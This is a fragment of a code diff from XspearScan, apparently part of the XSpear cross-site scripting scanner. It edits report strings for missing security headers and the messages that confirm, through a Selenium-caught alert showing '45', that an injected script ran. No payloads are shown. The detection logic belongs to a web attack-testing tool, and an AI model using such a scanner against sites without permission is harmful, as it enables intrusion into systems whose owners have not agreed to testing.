|
102
|
+
@report.add_issue("l","s","-","-","<original query>","Not Set X-Frame-Options")
|
|
103
103
|
end
|
|
104
104
|
|
|
105
105
|
|
|
@@ -112,12 +112,12 @@ class XspearScan
|
|
|
112
112
|
d = c.split " "
|
|
113
113
|
r = r+d[0]+" "
|
|
114
114
|
end
|
|
115
|
-
@report.add_issue("i","s","-","-","original query","Set CSP(#{r})")
|
|
115
|
+
@report.add_issue("i","s","-","-","<original query>","Set CSP(#{r})")
|
|
116
116
|
rescue
|
|
117
|
-
@report.add_issue("i","s","-","-","original query","CSP ERROR")
|
|
117
|
+
@report.add_issue("i","s","-","-","<original query>","CSP ERROR")
|
|
118
118
|
end
|
|
119
119
|
else
|
|
120
|
-
@report.add_issue("m","s","-","-","original query","Not Set CSP")
|
|
120
|
+
@report.add_issue("m","s","-","-","<original query>","Not Set CSP")
|
|
121
121
|
end
|
|
122
122
|
|
|
123
123
|
|
|
@@ -172,17 +172,17 @@ class XspearScan
|
|
|
172
172
|
alert = driver.switch_to().alert()
|
|
173
173
|
if alert.text.to_s == "45"
|
|
174
174
|
driver.quit
|
|
175
|
-
return [true, "found alert/prompt/confirm (45) in selenium!! #{@query}
|
|
175
|
+
return [true, "found alert/prompt/confirm (45) in selenium!! #{@query}"]
|
|
176
176
|
else
|
|
177
177
|
driver.quit
|
|
178
|
-
return [true, "found alert/prompt/confirm event in selenium #{@query}
|
|
178
|
+
return [true, "found alert/prompt/confirm event in selenium #{@query}"]
|
|
179
179
|
end
|
|
180
180
|
rescue Selenium::WebDriver::Error::UnexpectedAlertOpenError => e
|
|
181
181
|
driver.quit
|
|
182
|
-
return [true, "found alert/prompt/confirm error base in selenium #{@query}
|
|
182
|
+
return [true, "found alert/prompt/confirm error base in selenium #{@query}"]
|
|
183
183
|
rescue => e
|
|
184
184
|
driver.quit
|
|
185
|
-
return [false, "not found alert/prompt/confirm event #{@query}
|
|
185
|
+
return [false, "not found alert/prompt/confirm event #{@query}"]
|
|
186
186
|
end
|
|
187
187
|
end
|
|
188
188
|
rescue => e
|